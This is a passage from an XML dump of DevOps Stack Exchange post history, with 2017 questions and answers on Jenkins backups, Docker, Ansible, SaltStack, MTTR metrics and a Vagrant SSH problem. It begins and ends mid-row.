JENKINS_HOME directory. Simply archive this directory to make a back up. Similarly, restoring the data is just replacing the contents of the JENKINS_HOME directory from a back up.&#xD;&#xA;&#xD;&#xA;&gt; Back ups can be taken without stopping the server, but when you restore, please do stop the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;For consistent backups it is good practise to keep `JENKINS_HOME` directory under Git repository.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    cd $JENKINS_HOME&#xD;&#xA;    git init&#xD;&#xA;    shopt -s globstar&#xD;&#xA;    git add **/config.xml&#xD;&#xA;    git commit -m'Added job config files' -a&#xD;&#xA;&#xD;&#xA;and pushing the files to the external repository. You can also add the following [`.gitignore` file][2] to ignore some files.&#xD;&#xA;&#xD;&#xA;Related: [Is there a way to keep Hudson / Jenkins configuration files in source control?](https://stackoverflow.com/q/2087142/55075)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Administering+Jenkins&#xD;&#xA;  [2]: https://stackoverflow.com/a/38297609/55075" ContentLicense="CC BY-SA 3.0" />
  <row Id="4064" PostHistoryTypeId="5" PostId="644" RevisionGUID="61e04197-1884-4e05-9aa5-dba7efbb10e0" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="One possible issue is that the NVM install script only writes the commands to set itself up to either `.bash_profile` OR `.bashrc`.  Depending on your systems configuration, it may only be setup for interactive shells, not ones spawned by other programs ([more info][1]).  Sourcing the nvm setup script can be a good option, as a previous comment noted.  If you have a number of commands to run for 1 make target, look into [.ONESHELL][2].  Sourcing `$NVM_DIR/nvm.sh` should take care of it.&#xD;&#xA;&#xD;&#xA;[Another option][3] that invokes bash directly with the interactive flag might work as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://apple.stackexchange.com/questions/51036/what-is-the-difference-between-bash-profile-and-bashrc&#xD;&#xA;  [2]: https://www.gnu.org/software/make/manual/html_node/One-Shell.html#One-Shell&#xD;&#xA;  [3]: https://stackoverflow.com/a/13130922" ContentLicense="CC BY-SA 3.0" />
  <row Id="4065" PostHistoryTypeId="5" PostId="748" RevisionGUID="b2124217-9ea6-46d2-8e63-5f5927e67dc9" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="`mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir` doesn't do what you think it does.&#xD;&#xA;&#xD;&#xA;Let's break it down:&#xD;&#xA;&#xD;&#xA;1. `mkdir dir` creates `dir`.&#xD;&#xA;1. `cd dir` changes directory into it.&#xD;&#xA;1. `wget http://google.com` downloads google.com inside `dir/`.&#xD;&#xA;1. `rm -rf dir` attempts to delete a directory called `dir` that's in the current directory.&#xD;&#xA;&#xD;&#xA;The problem is that there is not `dir` in the current directory, because you're already `cd`ed into it.  And since you've added the `-f` flag, the command doesn't produce an error.  This is one of the reasons why you shouldn't use force flags without being very sure you need them.&#xD;&#xA;&#xD;&#xA;Since you didn't use the `WORKDIR` command, the directory change [is discarded at the end of the `RUN`](https://stackoverflow.com/q/17891981/120999).  Thus, the next line executes in the original working directory, where it tries to `mkdir dir` but, as we've previously discussed, that directory still exists with the wgetted contents inside it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4067" PostHistoryTypeId="5" PostId="892" RevisionGUID="485965ec-06cd-4e11-b83a-a9287f135edb" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Honestly you shouldn't need to use exit command specifically, but there is a [Conditional BuildStep Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin) which may achieve the same end result (code that doesn't run).&#xD;&#xA;&#xD;&#xA;I haven't come up against this yet, so haven't used the plugin.&#xD;&#xA;&#xD;&#xA;There is also conditionals as found in this prior Stack Overflow post on Jenkins: [Jenkins Pipeline Conditional Step/Stage](https://stackoverflow.com/questions/37690920/jenkins-pipeline-conditional-step-stage)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4068" PostHistoryTypeId="5" PostId="904" RevisionGUID="47c44936-c8a0-4a00-8e92-35de62385ad6" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="The output of `docker images` is really intended for humans, and it's not very parse-friendly. Instead, most Docker commands support a [`--format` flag using Go templates](https://docs.docker.com/engine/admin/formatting/). As you can see in the [`images` documentation](https://docs.docker.com/engine/reference/commandline/images/#format-the-output), you only really care about the `.Size` value, so you really want this:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot;&#xD;&#xA;&#xD;&#xA;This just gives an output like this:&#xD;&#xA;&#xD;&#xA;    90.6 MB&#xD;&#xA;&#xD;&#xA;If you have multiple images, they will each be on a separate line. I'm going to assume you will only ever have one line, because it vastly simplifies the next steps.&#xD;&#xA;&#xD;&#xA;To get rid of the `MB`, we can simply use `sed`:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB//g&quot;&#xD;&#xA;    # =&gt; 90.6&#xD;&#xA;&#xD;&#xA;But, you probably **don't** want this for your bash script. Most shells don't support floating point comparisons, so inputting 90.6 would just fail. Instead, let's use `bc` to truncate the number first:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc&#xD;&#xA;    # =&gt; 90&#xD;&#xA;&#xD;&#xA;Note that I've replaced the `MB` with a division by 1, which [truncates in `bc`](https://stackoverflow.com/questions/20558710/bc-truncate-floating-point-number).&#xD;&#xA;&#xD;&#xA;You can then pipe it into a shell script. I tested with this script:&#xD;&#xA;&#xD;&#xA;    VAR=$(cat)&#xD;&#xA;    &#xD;&#xA;    if [ $VAR -gt &quot;250&quot; ]&#xD;&#xA;        then&#xD;&#xA;        echo &quot;Image too large&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then run with:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc | ./check_size.sh&#xD;&#xA;    # Exits with 0 (for my example)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4069" PostHistoryTypeId="5" PostId="1012" RevisionGUID="00dcab21-6409-43f9-a60e-2644b6345884" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="In Ansible: you can use `assert` or `fail` module. &#xD;&#xA;&#xD;&#xA;    - name: &quot;Make sure web_sites is dictionary&quot;&#xD;&#xA;      fail: msg=&quot;web_sites should be dictionary&quot;&#xD;&#xA;      when: web_sites is not dict  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: &quot;cluster_name should be shorter than 6 chars&quot;&#xD;&#xA;      assert: &#xD;&#xA;           that: cluster_name|len &lt;= 6&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In Puppet: there is [fail][1] function evaluated during parsing phase which cause parsing failure on server (see [question on StackOverflow][2]) &#xD;&#xA;&#xD;&#xA;     if length($cluster_name) &gt; 6 {&#xD;&#xA;          fail(&quot;Cluster name is too long. Should be less than 6 chars.&quot;)&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.puppet.com/puppet/latest/function.html#fail&#xD;&#xA;  [2]: https://stackoverflow.com/questions/7570957/is-it-possible-to-assert-in-puppet" ContentLicense="CC BY-SA 3.0" />
  <row Id="4070" PostHistoryTypeId="5" PostId="1054" RevisionGUID="7f441299-4f0d-4fe1-8cad-d11747b02b2e" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="I found out via this [StackOverflow question](https://stackoverflow.com/questions/43414585/unable-to-start-jenkins-slave) which pointed me to [JENKINS-27624](https://issues.jenkins-ci.org/browse/JENKINS-27624) which indicates that Java 8 is now required.&#xD;&#xA;&#xD;&#xA;Update: I upgraded Java on all my nodes this morning and they are up and working." ContentLicense="CC BY-SA 3.0" />
  <row Id="4071" PostHistoryTypeId="5" PostId="1066" RevisionGUID="e25a27ab-7a07-45d9-98da-02808118911c" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="I think what you want to achieve is processing a webhook payload in a Jenkins job. Using bitbucket plugin won't be necessary and it is probably strongly designed to clone the repo.&#xD;&#xA;&#xD;&#xA;I belive [this stackoverflow answer](https://stackoverflow.com/a/31572888) could help you. " ContentLicense="CC BY-SA 3.0" />
  <row Id="4072" PostHistoryTypeId="5" PostId="1082" RevisionGUID="7ebb0e9e-0296-43a4-9c62-a51f73fe9dd9" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Ansible is used to deploy docker-compose on a system and subsequently start the container.&#xD;&#xA;&#xD;&#xA;When ansible runs from the local system, the docker-compose file is deployed using Ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the code is pushed to bitbucket the file content is:&#xD;&#xA;&#xD;&#xA;    ../../../../docker-compose.yml&#xD;&#xA;&#xD;&#xA;and the CI deploys this on the system as well.&#xD;&#xA;&#xD;&#xA;**Structure**&#xD;&#xA;&#xD;&#xA;    project/ansible&#xD;&#xA;    &#xD;&#xA;    project/docker-compose.yml&#xD;&#xA;    &#xD;&#xA;    project/ansible/roles/role/files/docker-compose.yml&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In order to prevent that the docker-compose.yml need to be changed on two places, a symlink has been created, but that seems to be ignored by bitbucket as the link instead of the content reside in this file.&#xD;&#xA;&#xD;&#xA;[This Q&amp;A][1] indicates that:&#xD;&#xA;&#xD;&#xA;&gt; The data referenced by the symlink is not stored in the repository.&#xD;&#xA;&#xD;&#xA;and creating a symlink to avoid code duplication in docker-compose.yml seems to cause the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/18791647/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="4078" PostHistoryTypeId="2" PostId="1228" RevisionGUID="4e5d2907-cf68-4e13-bdd4-b71f523f6011" CreationDate="2017-05-23T22:32:13.933" UserId="2885" Text="You can only insert the return into the mine.&#xD;&#xA;&#xD;&#xA;Just specify the cmd.run (or possibly cmd.script) in your mine_functions and you will get the whole return back.&#xD;&#xA;&#xD;&#xA;If you want to have a script that sets up extra config on the minion, I would recommend writing a custom grain.&#xD;&#xA;&#xD;&#xA;https://docs.saltstack.com/en/latest/topics/grains/#writing-grains" ContentLicense="CC BY-SA 3.0" />
  <row Id="4079" PostHistoryTypeId="2" PostId="1229" RevisionGUID="93612e3f-5546-43c8-9c12-f57a4c43e15a" CreationDate="2017-05-23T22:34:18.897" UserId="2885" Text="Check out the [slsutil.renderer](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.slsutil.html) module.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This should do what you want&#xD;&#xA;&#xD;&#xA;    salt my-minion-id slsutil.renderer /srv/salt/network/init.sls 'jinja'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This module just calls the compile_template function directly for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="4082" PostHistoryTypeId="2" PostId="1230" RevisionGUID="7fc90d45-8454-49b5-a491-faae02341bd0" CreationDate="2017-05-24T02:19:03.327" UserId="2888" Text="I'm trying to understand the best way to capture data to start measuring MTTR, and I need to wrap my head around how &quot;rollback&quot; impacts MTTR positively or negatively.&#xD;&#xA;&#xD;&#xA;Scenario: Assuming that solid monitoring is in place, code is deployed that causes an incident that is detected rather quickly (low MTTI). At the point of identification, there are two main possible paths forward (yes, I'm oversimplifying for purposes of discussion):&#xD;&#xA;&#xD;&#xA;1) Rollback the deployment, returning stability quickly, but without the intended features in production.&#xD;&#xA;&#xD;&#xA;2) Roll-forward with additional changes that resolve the incident and keep the intended features live.&#xD;&#xA;&#xD;&#xA;In scenario 1, MTTR is pretty darn low, given that site stability can come back pretty quickly. That said, the intended outcome of the change isn't live, and thus the code/feature/change is still stuck in process. If a goal is low MTTR, it seems to incentivize roll-back as a recovery mechanism.&#xD;&#xA;&#xD;&#xA;In scenario 2, MTTR is strictly measured by how long it takes the expected code/feature/change to be working properly in production. Even if I rollback, until my &quot;fixed&quot; code change goes into prod, the MTTR timer is still running. In this case, MTTR seems tied to business outcome stability instead of just pure &quot;hey, things are stable.&quot; &#xD;&#xA;&#xD;&#xA;Now, the answer may be as simple as MTTR not being used as a metric in a vacuum, but rather in conjunction with Change Failure Rate - a super-low MTTR caused by frequent rollbacks could point to a sky-high Change Failure Rate. That said, there's something that doesn't seem right to me in the idea of divorcing the MTTR measurement from business outcome.&#xD;&#xA;&#xD;&#xA;I may be way overthinking this, but I'm curious how others are measuring MTTR and what the end point-in-time is for &quot;recovery.&quot; Are you using it simply as stability, or do other factors come into determining what &quot;recovered&quot; means?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4083" PostHistoryTypeId="1" PostId="1230" RevisionGUID="7fc90d45-8454-49b5-a491-faae02341bd0" CreationDate="2017-05-24T02:19:03.327" UserId="2888" Text="What is the proper relationship between rollback/rollforward and MTTR metrics?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4084" PostHistoryTypeId="3" PostId="1230" RevisionGUID="7fc90d45-8454-49b5-a491-faae02341bd0" CreationDate="2017-05-24T02:19:03.327" UserId="2888" Text="&lt;metrics&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4085" PostHistoryTypeId="2" PostId="1231" RevisionGUID="8cc3ccd1-7f3d-4ca2-9fe8-2323b6630bc4" CreationDate="2017-05-24T03:29:42.807" UserId="47" Text="Yes, MTTR is/should always be tied to the business outcome: if things are not stable the very business is at risk.&#xD;&#xA;&#xD;&#xA;The fact that the expected code/feature/change is still stuck in process in scenario 1 is irelevant: the feature is not stable, so it doesn't bring new business, rolling back is the best you can do at that time from the business prospective.&#xD;&#xA;&#xD;&#xA;The rollforward is a gamble: keeps the business at risk waiting for a *potential* fix that in fact has statistically lower changes of success (due to the instability it will always be rushed compared to the change that caused the instability in the first place without even having such pressure on it). The rollforward is a yet another version of the code which hasn't been checked before. &#xD;&#xA;&#xD;&#xA;If you want to keep the MTTR low you rollback immediately, without debate. This removes the business risk and gives you a chance to check that the fix is actually working before attempting to deploy it. I'd strongly suggest making it a policy as yes, almost always there will be someone asking for a fix instead of the rollback and calling a meeting to negociate/decide on it - all while business remains at risk. &#xD;&#xA;&#xD;&#xA;Side note: if you're concerned with a high Change Failure Rate then I'd suggest checking the the actual rollback rate instead of deriving it from a low MTRR. Maybe you'd like to add a gate check before deployment for the most frequent failures. &#xD;&#xA;If you have such check already automated - why not include it in the CI verification? If you don't have one - maybe its time to start thinking about it? :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4086" PostHistoryTypeId="33" PostId="1204" RevisionGUID="105a2557-daa0-4d89-a762-71bc685538be" CreationDate="2017-05-24T04:22:23.317" UserId="2834" Comment="4" />
  <row Id="4087" PostHistoryTypeId="2" PostId="1232" RevisionGUID="742068d9-6f55-4862-abd4-2967aa514824" CreationDate="2017-05-24T07:34:14.017" UserId="13" Text="In my opinion you should treat each pipeline dependency as any other dependency.&#xD;&#xA;&#xD;&#xA;Set up an artifact repo like [nexus][1] or [artifactory][2] to be used as source of artifacts.  &#xD;&#xA;This way you can ask for latest or tagged version of an artifact inside your pipeline and push to this repo your own artifacts when the build succeed.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sonatype.org/nexus/&#xD;&#xA;  [2]: https://www.jfrog.com/open-source/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4088" PostHistoryTypeId="5" PostId="1230" RevisionGUID="9c90e510-2249-4c53-b1a8-d3e26286a932" CreationDate="2017-05-24T07:36:02.107" UserId="2845" Comment="Formatting improvements" Text="I'm trying to understand the best way to capture data to start measuring Mean Time To Repair (MTTR) metrics, and I need to wrap my head around how &quot;rollback&quot; impacts MTTR positively or negatively.&#xD;&#xA;&#xD;&#xA;Scenario 1&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Assuming that solid monitoring is in place, code is deployed that causes an incident that is detected rather quickly (low MTTI). At the point of identification, there are two main possible paths forward (yes, I'm oversimplifying for purposes of discussion):&#xD;&#xA;&#xD;&#xA;  1. Rollback the deployment, returning stability quickly, but without the intended features in production.&#xD;&#xA;&#xD;&#xA;  2. Roll-forward with additional changes that resolve the incident and keep the intended features live.&#xD;&#xA;&#xD;&#xA;In this scenaro, MTTR is pretty darn low, given that site stability can come back pretty quickly. That said, the intended outcome of the change isn't live, and thus the code/feature/change is still stuck in process. If a goal is low MTTR, it seems to incentivize roll-back as a recovery mechanism.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Scenario 2&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;In this scenario, MTTR is strictly measured by how long it takes the expected code/feature/change to be working properly in production. Even if I rollback, until my &quot;fixed&quot; code change goes into prod, the MTTR timer is still running. In this case, MTTR seems tied to business outcome stability instead of just pure &quot;hey, things are stable.&quot; &#xD;&#xA;&#xD;&#xA;Now, the answer may be as simple as MTTR not being used as a metric in a vacuum, but rather in conjunction with Change Failure Rate - a super-low MTTR caused by frequent rollbacks could point to a sky-high Change Failure Rate. That said, there's something that doesn't seem right to me in the idea of divorcing the MTTR measurement from business outcome.&#xD;&#xA;&#xD;&#xA;I may be way overthinking this, but I'm curious how others are measuring MTTR and what the end point-in-time is for &quot;recovery.&quot; Are you using it simply as stability, or do other factors come into determining what &quot;recovered&quot; means?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4089" PostHistoryTypeId="24" PostId="1230" RevisionGUID="9c90e510-2249-4c53-b1a8-d3e26286a932" CreationDate="2017-05-24T07:36:02.107" Comment="Proposed by 2845 approved by 40, 13 edit id of 349" ContentLicense="CC BY-SA 3.0" />
  <row Id="4090" PostHistoryTypeId="2" PostId="1233" RevisionGUID="9a7ddb0b-8070-4d0b-af18-c55c06eddcd3" CreationDate="2017-05-24T10:51:56.403" UserId="2728" Text="Consider a structure of X micro services and 2 environments; staging and production.&#xD;&#xA;&#xD;&#xA;Each of these micro services is represented by a separate git repository, when a merge to master happens on any of these services, a jenkins job is triggered to test the code locally and if it's successful - trigger a deployment pipeline.&#xD;&#xA;&#xD;&#xA;The deployment pipeline is a single job with the following steps:&#xD;&#xA;&#xD;&#xA;`build and test locally -&gt; deploy to staging -&gt; run overall system tests on staging -&gt; deploy to production`&#xD;&#xA;&#xD;&#xA;Again, this downstream pipeline can be triggered by any of the X micro services.&#xD;&#xA;&#xD;&#xA;The issue I have comes from the following scenario:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;service A code is updated and merged to master, the code is built and tested -&gt; deployment pipeline is triggered -&gt; code is again built and tested successfully -&gt; service is deployed to staging -&gt; tests against staging fail -&gt; pipeline is aborted and deployment to production is avoided```&#xD;&#xA;&#xD;&#xA;this scenario causes a difference of versions between staging and production. The larger problem happens when this failure goes unnoticed and isn't rolled back, then subsequent services that trigger the deployment pipeline will fail the tests on staging because of the previous deployment and the gap between staging and production will just keep growing until someone rolls back/fixes the failing tests and either triggers all the deployments again, or manually syncs between the environments.&#xD;&#xA;&#xD;&#xA;This is of course not ideal, and the immediate solution seems to be &quot;disabling&quot; the deployment pipeline after a certain threshold has been crossed (weather it be a single failure, or a number of them), but this doesn't seem to be possible to achieve using Jenkins.&#xD;&#xA;&#xD;&#xA;Is there actually a way to disable a jenkins job dynamically? Is there another obvious solution that comes to mind with this architecture?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4091" PostHistoryTypeId="1" PostId="1233" RevisionGUID="9a7ddb0b-8070-4d0b-af18-c55c06eddcd3" CreationDate="2017-05-24T10:51:56.403" UserId="2728" Text="Disable a Jenkins pipeline on failure? Issue with a central deployment job" ContentLicense="CC BY-SA 3.0" />
  <row Id="4092" PostHistoryTypeId="3" PostId="1233" RevisionGUID="9a7ddb0b-8070-4d0b-af18-c55c06eddcd3" CreationDate="2017-05-24T10:51:56.403" UserId="2728" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4093" PostHistoryTypeId="5" PostId="1157" RevisionGUID="597f278e-d609-429d-bd82-95d6e43d12c4" CreationDate="2017-05-24T11:59:57.053" UserId="339" Comment="A better answer is available, point to that." Text="Given how much time I spent weeks ago struggling with a closely-related issue, I wish I'd figured this out sooner.&#xD;&#xA;&#xD;&#xA;The solution appears to be to use [`salt.modules.cp.get_template`](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.cp.html#salt.modules.cp.get_template) to have the Salt minion retrieve the file, render it through the templating engine and place it in a readable place:&#xD;&#xA;&#xD;&#xA;    # salt my-minion-id cp.get_template salt://network/init.sls /root/network.sls template=jinja&#xD;&#xA;    my-minion-id:&#xD;&#xA;        /root/network.sls&#xD;&#xA;&#xD;&#xA;From there, you connect to the `my-minion-id` host and examine the file you placed at `/root/network.sls`.&#xD;&#xA;&#xD;&#xA;This makes sense; `salt.renderers.jinja` is in the `salt.renderers` namespace, while the modules you have access to from the CLI are in the `salt.modules` namespace.&#xD;&#xA;&#xD;&#xA;It also makes sense from a data visibility standpoint; template rendering happens on the _minion_, where grains and such are available, and I've yet to see a module that executes minion code return arbitrary output to the master (for view on the CLI, for example); the returned data is invariably well-structured and concise. (There may be such a module, but I don't know what it is. It would be a preferable solution to dropping test files onto a minion.)&#xD;&#xA;&#xD;&#xA;**edit:** @gtmanfred's answer is far better and more direct, and I've accepted that one. I'm leaving this one here for informative purposes. It's not the best solution, but it does still work." ContentLicense="CC BY-SA 3.0" />
  <row Id="4094" PostHistoryTypeId="2" PostId="1234" RevisionGUID="56b8c700-d1f8-4407-82b3-8e3ed7aaf059" CreationDate="2017-05-24T17:42:52.110" UserId="677" Text="I think you have fundamentally misunderstood the relationship between plans, stages and jobs in bamboo.&#xA;&#xA;A good rule of thumb is to have a single repository of code, which is linked to a single build plan, which produces a single independent module.&#xA;&#xA;You may initially start out creating a single stage with a single job inside each single plan where you just run a single maven command and the unit tests built into your maven build may be perfectly sufficient to exercise your modules completely in this extremely simple use case you probably don't need a tool like bamboo or Jenkins to deal with your builds.&#xA;&#xA;However, very quickly your conceptualisation of a &quot;build&quot; gets very complicated. As you mentioned in your question you might quickly amass multiple modules that are interrelated, or you might need to support your code on multiple platforms or in multiple browsers, and if you get all the way to the CD end of the work flow you might even need to deploy binaries into environments as the result of a code change.&#xA;&#xA;This is where you would want to use the extra orchestration capabilities of your CI tool.&#xA;&#xA;For example, if you are developing a module that you expect to load in a browser then your might have a build pipeline that looks like:&#xA;&#xA;Check in Code -&gt; Build/Compile/Unit Test -&gt; Deploy to a CI environment -&gt; Stand up a half dozen browsers and verify that they all still work correctly.&#xA;&#xA;In the above work flow you would have a single stage to handle your compilation and unit testing which would spit out a compiled or built artifact. Then you have a stage that does whatever needs doing to make your module useful, ie it might create your final shippable product by combining your module with other modules built from other plans, or it might package some software into an RPM, a DEB and so on, depends what you're actually building. If you need to ship to multiple platforms then this is your first stage where parallelism becomes meaningful.&#xA;&#xA;Alternatively, if you are building for a single platform but for multiple consumers you might follow up this build of your component with a bunch of headless browsers kicking off test cases to validate that your changes didn't break anything. These can all happen in parallel on different agents running in different OS's, depends how you have bamboo configured.&#xA;&#xA;Then finally, assuming you are shopping something more complex than a single module, you will want to do a bit of integration testing with all the other components that you need to interact with. This step will usually be separated into a build plan of its own, triggered by the successful completion of the plans which are spitting out individual modules. Here you get a chance to run all the same tests but with your latest version running along side everyone else's module so you can be sure that there are no breakages caused by dependencies.&#xA;&#xA;So at any one time you only have a single repo triggering a single plan. If you have multiple repositories feeding into the same plan and they are completely unrelated but use the same build pipeline then I'd recommend taking advantage of bamboos plan branches so that you can reuse the same build process but with multiple different code bases (if that fits your use case)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4095" PostHistoryTypeId="2" PostId="1235" RevisionGUID="cd8fa11c-e0af-4edc-9eed-bbcdde0403f8" CreationDate="2017-05-24T19:22:32.307" UserId="2900" Text="I am working on a project and we are trying to bake immutable images on containers as IaC. These images can have J2EE, .NET or Phyton apps on it. All OS patches should be applied to this image frequently and app updates should be also updated on this ready to run images. &#xD;&#xA;Having said that, an option we discuss includes Terraform for provisioning, Packer for building images. Many internet resources deploy additionally Ansible, Chef or Puppet into this mix. My question why Packer is not enough to cover baking images why would I need to consider Ansible/Chef/Puppet additionally? What can't Packer do and others can for these requirements? &#xD;&#xA;Thanks for your time and help..." ContentLicense="CC BY-SA 3.0" />
  <row Id="4096" PostHistoryTypeId="1" PostId="1235" RevisionGUID="cd8fa11c-e0af-4edc-9eed-bbcdde0403f8" CreationDate="2017-05-24T19:22:32.307" UserId="2900" Text="Baking Immutable Images" ContentLicense="CC BY-SA 3.0" />
  <row Id="4097" PostHistoryTypeId="3" PostId="1235" RevisionGUID="cd8fa11c-e0af-4edc-9eed-bbcdde0403f8" CreationDate="2017-05-24T19:22:32.307" UserId="2900" Text="&lt;docker&gt;&lt;ansible&gt;&lt;terraform&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4098" PostHistoryTypeId="2" PostId="1236" RevisionGUID="12ce7e0e-3d72-4453-9edd-4af3493b0847" CreationDate="2017-05-24T20:38:35.517" UserId="2846" Text="Image generation and distribution quickly rises to O(n^2) or higher, and as terraform is explicitly focused on instantiation it relies on external provisioners for internal state.&#xD;&#xA;&#xD;&#xA;It will work at a smaller scale, but will greatly complicate a hybrid-cloud model and will have problems if the systems are long lived.&#xD;&#xA;&#xD;&#xA;It also tends to cause difficulties with refactoring an iterating but these would be dependent on your use case.&#xD;&#xA;&#xD;&#xA;For example, lets say you wanted to deploy a new version of a python module.  If you had a wheel or a requirements.txt you could deploy this to cloud provider a,b,c on OS version c and d.  But with fully baked images you would have to produce and test images a_c, b_c, c_c, a_d, b_d,c_d.  If you have to do this per iteration the costs to developer productivity grow very quickly.&#xD;&#xA;&#xD;&#xA;Note that you may be assuming that the images will be fully immutable, but without a configuration management tool you have no way to ensure that they are.&#xD;&#xA;&#xD;&#xA;As containers in general right now work under a trusted model, and it is fairly trivial for any process or person who has access to launch a machine under frameworks like docker to make arbitrary changes to anything on the system (every API user is root, even on the host for docker) this is a contingency you want to account for.&#xD;&#xA;&#xD;&#xA;If you keep the loose coupling between cloud provider, application and base OS it is much easier to iterate over time and vendor mitigation is far easier.&#xD;&#xA;&#xD;&#xA;If you maintain a terraform configuration for GCE, AWS and Azure, a packer configuration per OS then an application deployment method separately it may increase the initial complexity but those costs will quickly amortize away over the total life cycle of the project.&#xD;&#xA;&#xD;&#xA;I personally find a tool like ansible, which can be run without centralized infrastructure, and which can make orchestrated changes based on state to be more flexible in a pure deployment model but I have always had to retrofit in some form of configuration management at some point.&#xD;&#xA;&#xD;&#xA;This may not directly map to your specific use case but it is a very good reason that it is a common practice." ContentLicense="CC BY-SA 3.0" />
  <row Id="4099" PostHistoryTypeId="2" PostId="1237" RevisionGUID="148d22c6-4e22-45e5-ac17-3c6a8435a605" CreationDate="2017-05-25T00:33:20.290" UserId="2901" Text="I have 4 VMs in my Vagrantfile - 3 application servers and an ansible control host.&#xD;&#xA;&#xD;&#xA;I only use vagrant to create the VMs as I provision them manually from the ansible control host because I am still creating/editing the ansible scripts.&#xD;&#xA;&#xD;&#xA;I can do `vagrant ssh ansible` and `vagrant ssh app1/2/3` etc but when I try to do `ansible-playbook oracle.yml` from the ansible control host, ssh fails with&#xD;&#xA;&#xD;&#xA;    fatal: [192.168.60.10]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;&#xD;&#xA;I can successfully ssh from the ansible VM to the oracle VM using user vagrant and password vagrant.&#xD;&#xA;&#xD;&#xA;The key parts of my Vagrantfile are:&#xD;&#xA;&#xD;&#xA;    config.ssh.insert_key = false&#xD;&#xA;&#xD;&#xA;    config.vm.define &quot;db&quot; do |db|&#xD;&#xA;        db.vm.box = &quot;boxcutter/ol67&quot;&#xD;&#xA;        db.vm.hostname = &quot;oracle-vm&quot;&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2201, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 1521, host: 1521&#xD;&#xA;        db.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.10&quot;&#xD;&#xA;        db.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.name = &quot;oracle-vm&quot;&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;            v.memory = 2048&#xD;&#xA;            v.cpus = 2&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    #Optional ansible control machine for Windows users&#xD;&#xA;    config.vm.define &quot;ansible&quot;, autostart: false do |ansible|&#xD;&#xA;        ansible.vm.box = &quot;williamyeh/ansible&quot;&#xD;&#xA;        ansible.vm.hostname = &quot;ansible-vm&quot;&#xD;&#xA;        ansible.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2204, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        